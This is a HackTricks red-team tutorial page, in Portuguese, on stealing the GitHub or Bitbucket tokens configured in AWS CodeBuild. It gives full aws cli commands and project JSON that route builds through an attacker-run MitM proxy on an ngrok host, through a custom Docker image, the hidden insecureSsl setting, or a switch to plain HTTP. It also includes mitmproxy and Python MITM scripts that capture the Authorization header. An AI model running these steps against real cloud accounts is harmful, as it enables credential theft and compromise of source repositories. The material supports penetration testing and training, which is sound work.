AWS Codebuild - Token Leakage

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Recuperar Tokens Configurados do Github/Bitbucket

Primeiro, verifique se há credenciais de origem configuradas que você poderia vazar:

bash
aws codebuild list-source-credentials

Via Docker Image

Se você descobrir que a autenticação para, por exemplo, Github está configurada na conta, você pode exfiltrar esse acesso (token GH ou token OAuth) fazendo com que o Codebuild use uma imagem docker específica para executar a construção do projeto.

Para isso, você poderia criar um novo projeto Codebuild ou alterar o ambiente de um existente para definir a imagem Docker.

A imagem Docker que você poderia usar é https://github.com/carlospolop/docker-mitm. Esta é uma imagem Docker muito básica que irá definir as variáveis de ambiente https_proxy, http_proxy e SSL_CERT_FILE. Isso permitirá que você intercepte a maior parte do tráfego do host indicado em https_proxy e http_proxy e confie no SSL CERT indicado em SSL_CERT_FILE.

  1. Crie e faça upload da sua própria imagem Docker MitM
  • Siga as instruções do repositório para definir o endereço IP do seu proxy e configurar seu certificado SSL e construa a imagem docker.
  • NÃO DEFINA http_proxy para não interceptar solicitações ao endpoint de metadados.
  • Você poderia usar ngrok como ngrok tcp 4444 para definir o proxy para o seu host.
  • Uma vez que você tenha a imagem Docker construída, faça upload para um repositório público (Dockerhub, ECR...)
  1. Defina o ambiente
  • Crie um novo projeto Codebuild ou modifique o ambiente de um existente.
  • Defina o projeto para usar a imagem Docker gerada anteriormente.
  1. Defina o proxy MitM no seu host
  • Como indicado no repositório do Github, você poderia usar algo como:
bash
mitmproxy --listen-port 4444  --allow-hosts "github.com"

tip

A versão do mitmproxy utilizada foi 9.0.1, foi relatado que com a versão 10 isso pode não funcionar.

  1. Execute a construção e capture as credenciais
  • Você pode ver o token no cabeçalho Authorization:

Isso também pode ser feito a partir do aws cli com algo como

bash
# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Via insecureSSL

Codebuild projects têm uma configuração chamada insecureSsl que está oculta na web e você só pode alterá-la pela API.
Ativar isso permite que o Codebuild se conecte ao repositório sem verificar o certificado oferecido pela plataforma.

  • Primeiro, você precisa enumerar a configuração atual com algo como:
bash
aws codebuild batch-get-projects --name <proj-name>
  • Então, com as informações coletadas, você pode atualizar a configuração do projeto insecureSsl para True. O seguinte é um exemplo de como atualizei um projeto, note o insecureSsl=True no final (esta é a única coisa que você precisa mudar na configuração coletada).
  • Além disso, adicione também as variáveis de ambiente http_proxy e https_proxy apontando para o seu tcp ngrok como:
bash
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Finalmente, clique em Build the project, as credenciais serão enviadas em texto claro (base64) para a porta mitm:

Via HTTP protocol

[!TIP] > Essa vulnerabilidade foi corrigida pela AWS em algum momento da semana do dia 20 de fevereiro de 2023 (acho que na sexta-feira). Portanto, um atacante não pode mais abusar disso :)

Um atacante com permissões elevadas em um CodeBuild poderia vazar o token do Github/Bitbucket configurado ou, se as permissões foram configuradas via OAuth, o token OAuth temporário usado para acessar o código.

  • Um atacante poderia adicionar as variáveis de ambiente http_proxy e https_proxy ao projeto CodeBuild apontando para sua máquina (por exemplo, http://5.tcp.eu.ngrok.io:14972).
  • Em seguida, mude a URL do repositório do github para usar HTTP em vez de HTTPS, por exemplo: http://github.com/carlospolop-forks/TestActions
  • Em seguida, execute o exemplo básico de https://github.com/synchronizing/mitm na porta apontada pelas variáveis de proxy (http_proxy e https_proxy)
python
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Em seguida, clique em Build the project ou inicie a construção a partir da linha de comando:
sh
aws codebuild start-build --project-name <proj-name>
  • Finalmente, as credenciais serão enviadas em texto claro (base64) para a porta mitm:

warning

Agora um atacante poderá usar o token de sua máquina, listar todos os privilégios que possui e (ab)usar mais facilmente do que usando o serviço CodeBuild diretamente.

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks